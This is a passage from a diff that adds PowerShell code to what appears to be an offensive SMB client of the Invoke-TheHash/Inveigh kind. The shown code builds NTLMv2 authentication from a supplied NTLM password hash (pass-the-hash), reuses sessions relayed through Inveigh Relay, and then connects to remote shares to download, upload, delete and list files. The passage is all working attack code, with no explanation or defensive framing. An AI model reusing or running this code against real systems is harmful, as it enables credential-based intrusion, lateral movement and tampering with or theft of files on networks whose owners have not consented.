ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $auth_hostname = (Get-ChildItem -path env:computername).Value + $auth_hostname_bytes = [System.Text.Encoding]::Unicode.GetBytes($auth_hostname) + $auth_domain_bytes = [System.Text.Encoding]::Unicode.GetBytes($Domain) + $auth_username_bytes = [System.Text.Encoding]::Unicode.GetBytes($username) + $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length) + $auth_domain_length = $auth_domain_length[0,1] + $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length) + $auth_domain_length = $auth_domain_length[0,1] + $auth_username_length = [System.BitConverter]::GetBytes($auth_username_bytes.Length) + $auth_username_length = $auth_username_length[0,1] + $auth_hostname_length = [System.BitConverter]::GetBytes($auth_hostname_bytes.Length) + $auth_hostname_length = $auth_hostname_length[0,1] + $auth_domain_offset = 0x40,0x00,0x00,0x00 + $auth_username_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + 64) + $auth_hostname_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + 64) + $auth_LM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 64) + $auth_NTLM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 88) + $HMAC_MD5 = New-Object System.Security.Cryptography.HMACMD5 + $HMAC_MD5.key = $NTLM_hash_bytes + $username_and_target = $username.ToUpper() + $username_and_target_bytes = [System.Text.Encoding]::Unicode.GetBytes($username_and_target) + $username_and_target_bytes += $auth_domain_bytes + $NTLMv2_hash = $HMAC_MD5.ComputeHash($username_and_target_bytes) + $client_challenge = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $client_challenge_bytes = $client_challenge.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + + $security_blob_bytes = 0x01,0x01,0x00,0x00, + 0x00,0x00,0x00,0x00 + + $SMB_target_time_bytes + + $client_challenge_bytes + + 0x00,0x00,0x00,0x00 + + $SMB_target_details + + 0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00 + + $server_challenge_and_security_blob_bytes = $SMB_NTLM_challenge + $security_blob_bytes + $HMAC_MD5.key = $NTLMv2_hash + $NTLMv2_response = $HMAC_MD5.ComputeHash($server_challenge_and_security_blob_bytes) + + if($SMB_signing) + { + $session_base_key = $HMAC_MD5.ComputeHash($NTLMv2_response) + $session_key = $session_base_key + $HMAC_SHA256 = New-Object System.Security.Cryptography.HMACSHA256 + $HMAC_SHA256.key = $session_key + } + + $NTLMv2_response = $NTLMv2_response + $security_blob_bytes + $NTLMv2_response_length = [System.BitConverter]::GetBytes($NTLMv2_response.Length) + $NTLMv2_response_length = $NTLMv2_response_length[0,1] + $SMB_session_key_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + $NTLMv2_response.Length + 88) + + $NTLMSSP_response = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00, + 0x03,0x00,0x00,0x00, + 0x18,0x00, + 0x18,0x00 + + $auth_LM_offset + + $NTLMv2_response_length + + $NTLMv2_response_length + + $auth_NTLM_offset + + $auth_domain_length + + $auth_domain_length + + $auth_domain_offset + + $auth_username_length + + $auth_username_length + + $auth_username_offset + + $auth_hostname_length + + $auth_hostname_length + + $auth_hostname_offset + + $SMB_session_key_length + + $SMB_session_key_length + + $SMB_session_key_offset + + $SMB_negotiate_flags + + $auth_domain_bytes + + $auth_username_bytes + + $auth_hostname_bytes + + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + + $NTLMv2_response + + $SMB2_message_ID ++ + $packet_SMB2_header = New-PacketSMB2Header 0x01,0x00 0x1f,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["ProcessID"] = $process_ID_bytes + $packet_NTLMSSP_auth = New-PacketNTLMSSPAuth $NTLMSSP_response + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $NTLMSSP_auth = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_auth + $packet_SMB2_data = New-PacketSMB2SessionSetupRequest $NTLMSSP_auth + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + + if([System.BitConverter]::ToString($SMB_client_receive[12..15]) -eq '00-00-00-00') + { + Write-Verbose "[+] $output_username successfully authenticated on $target" + $login_successful = $true + } + else + { + $output_message = "[-] $output_username failed to authenticate on $target" + $login_successful = $false + } + + } + + } + + try + { + + if($login_successful -or $session_string) + { + + if($session_string) + { + + if($session_string -and $inveigh.session_lock_table[$session] -eq 'locked') + { + Write-Output "[*] Pausing due to Inveigh Relay session lock" + Start-Sleep -s 2 + } + + $inveigh.session_lock_table[$session] = 'locked' + $SMB_client = $inveigh.session_socket_table[$session] + $SMB_client_stream = $SMB_client.GetStream() + $SMB_session_ID = $inveigh.session_table[$session] + $SMB2_message_ID = $inveigh.session_message_ID_table[$session] + $SMB2_tree_ID = 0x00,0x00,0x00,0x00 + } + + $SMB_path = "\\" + $Target + "\IPC$" + $SMB_path_bytes = [System.Text.Encoding]::Unicode.GetBytes($SMB_path) + $directory_list = New-Object System.Collections.ArrayList + $SMB_client_stage = 'TreeConnect' + + :SMB_execute_loop while ($SMB_client_stage -ne 'exit') + { + + switch($SMB_client_stage) + { + + 'TreeConnect' + { + $SMB2_message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x03,0x00 0x1f,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["ProcessID"] = $process_ID_bytes + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SMB2_data = New-PacketSMB2TreeConnectRequest $SMB_path_bytes + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + + try + { + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + } + catch + { + Write-Output "[-] Session connection is closed" + $SMB_client_stage = 'Exit' + } + + if($SMB_client_stage -ne 'Exit') + { + + if([System.BitConverter]::ToString($SMB_client_receive[12..15]) -ne '00-00-00-00') + { + $error_code = [System.BitConverter]::ToString($SMB_client_receive[12..15]) + + switch($error_code) + { + + 'cc-00-00-c0' + { + $output_message = "[-] Share not found" + $SMB_client_stage = 'Exit' + } + + '22-00-00-c0' + { + $output_message = "[-] Access denied" + $SMB_client_stage = 'Exit' + } + + default + { + $error_code = $error_code -replace "-","" + $output_message = "[-] Tree connect error code 0x$error_code" + $SMB_client_stage = 'Exit' + } + + } + + } + elseif($refresh) + { + Write-Output "[+] Session refreshed" + $SMB_client_stage = 'Exit' + } + elseif(!$SMB_IPC) + { + $SMB_share_path = "\\" + $Target + "\" + $Share + $SMB_path_bytes = [System.Text.Encoding]::Unicode.GetBytes($SMB_share_path) + $SMB_IPC = $true + $SMB_client_stage = 'IoctlRequest' + } + else + { + + if($Action -eq 'Put') + { + $SMB2_file = [System.Text.Encoding]::Unicode.GetBytes($share_subdirectory) + $create_request_extra_info = 2 + } + else + { + $create_request_extra_info = 1 + } + + $SMB2_tree_ID = $SMB_client_receive[40..43] + $SMB_client_stage = 'CreateRequest' + + if($Action -eq 'Get') + { + $SMB2_file = [System.Text.Encoding]::Unicode.GetBytes($share_subdirectory) + } + + } + + } + + } + + 'IoctlRequest' + { + $SMB2_tree_ID = 0x01,0x00,0x00,0x00 + $SMB_ioctl_path = "\" + $Target + "\" + $Share + $SMB_ioctl_path_bytes = [System.Text.Encoding]::Unicode.GetBytes($SMB_ioctl_path) + 0x00,0x00 + $SMB2_message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["ProcessID"] = $process_ID_bytes + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SMB2_data = New-PacketSMB2IoctlRequest $SMB_ioctl_path_bytes + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB2_tree_ID = 0x00,0x00,0x00,0x00 + $SMB_client_stage = 'TreeConnect' + } + + 'CreateRequest' + { + $SMB2_message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x05,0x00 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["ProcessID"] = $process_ID_bytes + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SMB2_data = New-PacketSMB2CreateRequest $SMB2_file $create_request_extra_info $source_file_size + + if($directory_list.Count -gt 0) + { + $packet_SMB2_data["DesiredAccess"] = 0x81,0x00,0x10,0x00 + $packet_SMB2_data["ShareAccess"] = 0x07,0x00,0x00,0x00 + } + + if($Action -eq 'Delete') + { + + switch($action_step) + { + + 0 + { + $packet_SMB2_data["CreateOptions"] = 0x00,0x00,0x20,0x00 + $packet_SMB2_data["DesiredAccess"] = 0x80,0x00,0x00,0x00 + $packet_SMB2_data["ShareAccess"] = 0x07,0x00,0x00,0x00 + } + + 2 + { + $packet_SMB2_data["CreateOptions"] = 0x40,0x00,0x20,0x00 + $packet_SMB2_data["DesiredAccess"] = 0x80,0x00,0x01,0x00 + $packet_SMB2_data["ShareAccess"] = 0x07,0x00,0x00,0x00 + } + + } + + } + + if($Action -eq 'Get') + { + $packet_SMB2_data["CreateOptions"] = 0x00,0x00,0x20,0x00 + $packet_SMB2_data["DesiredAccess"] = 0x89,0x00,0x12,0x00 + $packet_SMB2_data["ShareAccess"] = 0x05,0x00,0x00,0x00 + } + + if($Action -eq 'Put') + { + + switch($action_step) + { + + 0 + { + $packet_SMB2_data["CreateOptions"] = 0x60,0x00,0x20,0x00 + $packet_SMB2_data["DesiredAccess"] = 0x89,0x00,0x12,0x00 + $packet_SMB2_data["ShareAccess"] = 0x01,0x00,0x00,0x00 + $packet_SMB2_data["RequestedOplockLevel"] = 0xff + } + + 1 + { + $packet_SMB2_data["CreateOptions"] = 0x64,0x00,0x00,0x00 + $packet_SMB2_data["DesiredAccess"] = 0x97,0x01,0x13,0x00 + $packet_SMB2_data["ShareAccess"] = 0x00,0x00,0x00,0x00 + $packet_SMB2_data["RequestedOplockLevel"] = 0xff + $packet_SMB2_data["FileAttributes"] = 0x20,0x00,0x00,0x00 + $packet_SMB2_data["CreateDisposition"] = 0x05,0x00,0x00,0x00 + } + + } + + } + + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + + if([System.BitConverter]::ToString($SMB_client_receive[12..15]) -ne '00-00-00-00') + { + + $error_code = [System.BitConverter]::ToString($SMB_client_receive[12..15]) + + switch($error_code) + { + + '03-01-00-c0' + { + $SMB_client_stage = 'Exit' + } + + '22-00-00-c0' + { + + if($directory_list.Count -gt 0) + { + $directory_list.RemoveAt(0) > $null + } + else + { + $output_message = "[-] Access denied" + $share_subdirectory_start = $false + } + + $SMB_client_stage = 'CloseRequest' + + } + + '34-00-00-c0' + { + + if($Action -eq 'Put') + { + $create_request_extra_info = 3 + $action_step++ + $SMB_client_stage = 'CreateRequest' + } + else + { + $output_message = "[-] File not found" + $SMB_client_stage = 'Exit' + } + + } + + 'ba-00-00-c0' + { + + if($Action -eq 'Put') + { + $output_message = "[-] Destination filname must be specified" + $SMB_client_stage = 'CloseRequest' + } + + } + + default + { + $error_code = $error_code -replace "-","" + $output_message = "[-] Create request error code 0x$error_code" + $SMB_client_stage = 'Exit' + } + + } + + } + elseif($Action -eq 'Delete' -and $action_step -eq 2) + { + $set_info_request_file_info_class = 0x01 + $set_info_request_info_level = 0x0d + $set_info_request_buffer = 0x01,0x00,0x00,0x00 + $SMB_file_ID = $SMB_client_receive[132..147] + $SMB_client_stage = 'SetInfoRequest' + } + elseif($Action -eq 'Get' -and $action_step -ne 1) + { + + switch($action_step) + { + + 0 + { + $SMB_file_ID = $SMB_client_receive[132..147] + $action_step++ + $SMB_client_stage = 'CloseRequest' + } + + 2 + { + + if($file_size -lt 4096) + { + $read_request_length = $file_size + } + else + { + $read_request_length = 4096 + } + + $read_request_offset = 0 + $SMB_file_ID = $SMB_client_receive[132..147] + $action_step++ + $SMB_client_stage = 'ReadRequest' + } + + 4 + { + $header_next_command = 0x68,0x00,0x00,0x00 + $query_info_request_info_type_1 = 0x01 + $query_info_request_file_info_class_1 = 0x07 + $query_info_request_output_buffer_length_1 = 0x00,0x10,0x00,0x00 + $query_info_request_input_buffer_offset_1 = 0x68,0x00 + $query_info_request_buffer_1 = 0 + $query_info_request_info_type_2 = 0x01 + $query_info_request_file_info_class_2 = 0x16 + $query_info_request_output_buffer_length_2 = 0x00,0x10,0x00,0x00 + $query_info_request_input_buffer_offset_2 = 0x68,0x00 + $query_info_request_buffer_2 = 0 + $SMB_file_ID = $SMB_client_receive[132..147] + $action_step++ + $SMB_client_stage = 'QueryInfoRequest' + } + + } + + } + elseif($Action -eq 'Put') + { + + switch($action_step) + { + + 0 + { + + if($Action -eq 'Put') + { + $output_message = "Destination file exists" + $SMB_client_stage = 'CloseRequest' + } + + } + + 1 + { + $SMB_file_ID = $SMB_client_receive[132..147] + $action_step++ + $header_next_command = 0x70,0x00,0x00,0x00 + $query_info_request_info_type_1 = 0x02 + $query_info_request_file_info_class_1 = 0x01 + $query_info_request_output_buffer_length_1 = 0x58,0x00,0x00,0x00 + $query_info_request_input_buffer_offset_1 = 0x00,0x00 + $query_info_request_buffer_1 = 8 + $query_info_request_info_type_2 = 0x02 + $query_info_request_file_info_class_2 = 0x05 + $query_info_request_output_buffer_length_2 = 0x50,0x00,0x00,0x00 + $query_info_request_input_buffer_offset_2 = 0x00,0x00 + $query_info_request_buffer_2 = 1 + $SMB_file_ID = $SMB_client_receive[132..147] + $SMB_client_stage = 'QueryInfoRequest' + } + + } + + } + elseif($share_subdirectory_start) + { + $SMB_file_ID = $SMB_client_receive[132..147] + $SMB_client_stage = 'CloseRequest' + } + elseif($directory_list.Count -gt 0 -or $action_step -eq 1) + { + $SMB_client_stage = 'FindRequest' + } + else + { + $header_next_command = 0x70,0x00,0x00,0x00 + $query_info_request_info_type_1 = 0x02 + $query_info_request_file_info_class_1 = 0x01 + $query_info_request_output_buffer_length_1 = 0x58,0x00,0x00,0x00 + $query_info_request_input_buffer_offset_1 = 0x00,0x00 + $query_info_request_buffer_1 = 8 + $query_info_request_info_type_2 = 0x02 + $query_info_request_file_info_class_2 = 0x05 + $query_info_request_output_buffer_length_2 = 0x50,0x00,0x00,0x00 + $query_info_request_input_buffer_offset_2 = 0x00,0x00 + $query_info_request_buffer_2 = 1 + $SMB_file_ID = $SMB_client_receive[132..147] + $SMB_client_stage = 'QueryInfoRequest' + + if($share_subdirectory) + { + $share_subdirectory_start = $true + } + + } + + } + + 'QueryInfoRequest' + { + $SMB2_message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x10,0x00 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["ProcessID"] = $process_ID_bytes + $packet_SMB2_header["NextCommand"] = $header_next_command + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SMB2_data = New-PacketSMB2QueryInfoRequest $query_info_request_info_type_1 $query_info_request_file_info_class_1 $query_info_request_output_buffer_length_1 $query_info_request_input_buffer_offset_1 $SMB_file_ID $query_info_request_buffer_1 + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB2_message_ID++ + $packet_SMB2b_header = New-PacketSMB2Header 0x10,0x00 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2b_header["ProcessID"] = $process_ID_bytes + + if($SMB_signing) + { + $packet_SMB2b_header["Flags"] = 0x0c,0x00,0x00,0x00 + } + else + { + $packet_SMB2b_header["Flags"] = 0x04,0x00,0x00,0x00 + } + + $packet_SMB2b_data = New-PacketSMB2QueryInfoRequest $query_info_request_info_type_2 $query_info_request_file_info_class_2 $query_info_request_output_buffer_length_2 $query_info_request_input_buffer_offset_2 $SMB_file_ID $query_info_request_buffer_2 + $SMB2b_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_header + $SMB2b_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService ($SMB2_header.Length + $SMB2b_header.Length) ($SMB2_data.Length + $SMB2b_data.Length) + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2b_header + $SMB2b_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2b_header["Signature"] = $SMB2_signature + $SMB2b_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB2b_header + $SMB2b_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + + if($share_subdirectory_start) + { + $SMB2_file = [System.Text.Encoding]::Unicode.GetBytes($share_subdirectory) + $root_directory = $SMB2_file + 0x5c,0x00 + $create_request_extra_info = 1 + $SMB_client_stage = 'CreateRequest' + } + elseif($Action -eq 'Get') + { + + switch($action_step) + { + + 5 + { + $query_info_response = [System.BitConverter]::ToString($SMB_client_receive) + $query_info_response = $query_info_response -replace "-","" + $file_stream_size_index = $query_info_response.Substring(10).IndexOf("FE534D42") + 170 + $file_stream_size = [System.BitConverter]::ToUInt32($SMB_client_receive[($file_stream_size_index / 2)..($file_stream_size_index / 2 + 8)],0) + $file_stream_size_quotient = [Math]::Truncate($file_stream_size / 65536) + $file_stream_size_remainder = $file_stream_size % 65536 + $percent_complete = $file_stream_size_quotient + + if($file_stream_size_remainder -ne 0) + { + $percent_complete++ + } + + if($file_stream_size -lt 1024) + { + $progress_file_size = "" + $file_stream_size + "B" + } + elseif($file_stream_size -lt 1024000) + { + $progress_file_size = "" + ($file_stream_size / 1024).ToString('.00') + "KB" + } + else + { + $progress_file_size = "" + ($file_stream_size / 1024000).ToString('.00') + "MB" + } + + $header_next_command = 0x70,0x00,0x00,0x00 + $query_info_request_info_type_1 = 0x02 + $query_info_request_file_info_class_1 = 0x01 + $query_info_request_output_buffer_length_1 = 0x58,0x00,0x00,0x00 + $query_info_request_input_buffer_offset_1 = 0x00,0x00 + $query_info_request_buffer_1 = 8 + $query_info_request_info_type_2 = 0x02 + $query_info_request_file_info_class_2 = 0x05 + $query_info_request_output_buffer_length_2 = 0x50,0x00,0x00,0x00 + $query_info_request_input_buffer_offset_2 = 0x00,0x00 + $query_info_request_buffer_2 = 1 + $action_step++ + $SMB_client_stage = 'QueryInfoRequest' + } + + 6 + { + + if($file_stream_size -lt 65536) + { + $read_request_length = $file_stream_size + } + else + { + $read_request_length = 65536 + } + + $read_request_offset = 0 + $read_request_step = 1 + $action_step++ + $SMB_client_stage = 'ReadRequest' + } + + } + } + elseif($Action -eq 'Put') + { + $percent_complete = $source_file_size_quotient + + if($source_file_size_remainder -ne 0) + { + $percent_complete++ + } + + if($source_file_size -lt 1024) + { + $progress_file_size = "" + $source_file_size + "B" + } + elseif($source_file_size -lt 1024000) + { + $progress_file_size = "" + ($source_file_size / 1024).ToString('.00') + "KB" + } + else + { + $progress_file_size = "" + ($source_file_size / 1024000).ToString('.00') + "MB" + } + + $action_step++ + $set_info_request_file_info_class = 0x01 + $set_info_request_info_level = 0x14 + $set_info_request_buffer = [System.BitConverter]::GetBytes($source_file_size) + $SMB_client_stage = 'SetInfoRequest' + } + elseif($Action -eq 'Delete') + { + $SMB_client_stage = 'CreateRequest' + } + else + { + $SMB_client_stage = 'CreateRequestFindRequest' + } + + } + + 'SetInfoRequest' + { + $SMB2_message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x11,0x00 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["ProcessID"] = $process_ID_bytes + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SMB2_data = New-PacketSMB2SetInfoRequest $set_info_request_file_info_class $set_info_request_info_level $SMB_file_ID $set_info_request_buffer + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + + if($source_file_size -le 65536) + { + $write_request_length = $source_file_size + } + else + { + $write_request_length = 65536 + } + + $write_request_offset = 0 + $write_request_step = 1 + + if($Action -eq 'Delete') + { + $output_message = "[+] File deleted" + $SMB_client_stage = 'CloseRequest' + $action_step++ + } + elseif($Action -eq 'Put' -and $action_step -eq 4) + { + $output_message = "[+] File uploaded" + $SMB_client_stage = 'CloseRequest' + } + else + { + $SMB_client_stage = 'WriteRequest' + } + + } + + 'CreateRequestFindRequest' + { + $SMB2_message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x05,0x00 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["ProcessID"] = $process_ID_bytes + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SMB2_data = New-PacketSMB2CreateRequest $SMB2_file 1 + $packet_SMB2_data["DesiredAccess"] = 0x81,0x00,0x10,0x00 + $packet_SMB2_data["ShareAccess"] = 0x07,0x00,0x00,0x00 + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_SMB2_header["NextCommand"] = [System.BitConverter]::GetBytes($SMB2_header.Length + $SMB2_data.Length) + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB2_message_ID++ + $packet_SMB2b_header = New-PacketSMB2Header 0x0e,0x00 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2b_header["ProcessID"] = $process_ID_bytes + $packet_SMB2b_header["NextCommand"] = 0x68,0x00,0x00,0x00 + + if($SMB_signing) + { + $packet_SMB2b_header["Flags"] = 0x0c,0x00,0x00,0x00 + } + else + { + $packet_SMB2b_header["Flags"] = 0x04,0x00,0x00,0x00 + } + + $packet_SMB2b_data = New-PacketSMB2FindRequestFile 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff 0x00,0x00,0x00,0x00,0x00,0x00 + $SMB2b_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_header + $SMB2b_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_data + + if($SMB_signing) + { + $SMB2_sign = $SMB2b_header + $SMB2b_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2b_header["Signature"] = $SMB2_signature + $SMB2b_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_header + } + + $SMB2_message_ID++ + $packet_SMB2c_header = New-PacketSMB2Header 0x0e,0x00 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2c_header["ProcessID"] = $process_ID_bytes + + if($SMB_signing) + { + $packet_SMB2c_header["Flags"] = 0x0c,0x00,0x00,0x00 + } + else + { + $packet_SMB2c_header["Flags"] = 0x04,0x00,0x00,0x00 + } + + $packet_SMB2c_data = New-PacketSMB2FindRequestFile 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff + $packet_SMB2c_data["OutputBufferLength"] = 0x80,0x00,0x00,0x00 + $SMB2c_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2c_header + $SMB2c_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2c_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService ($SMB2_header.Length + $SMB2b_header.Length + $SMB2c_header.Length) ($SMB2_data.Length + $SMB2b_data.Length + $SMB2c_data.Length) + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2c_header + $SMB2c_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2c_header["Signature"] = $SMB2_signature + $SMB2c_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2c_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB2b_header + $SMB2b_data + $SMB2c_header + $SMB2c_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + 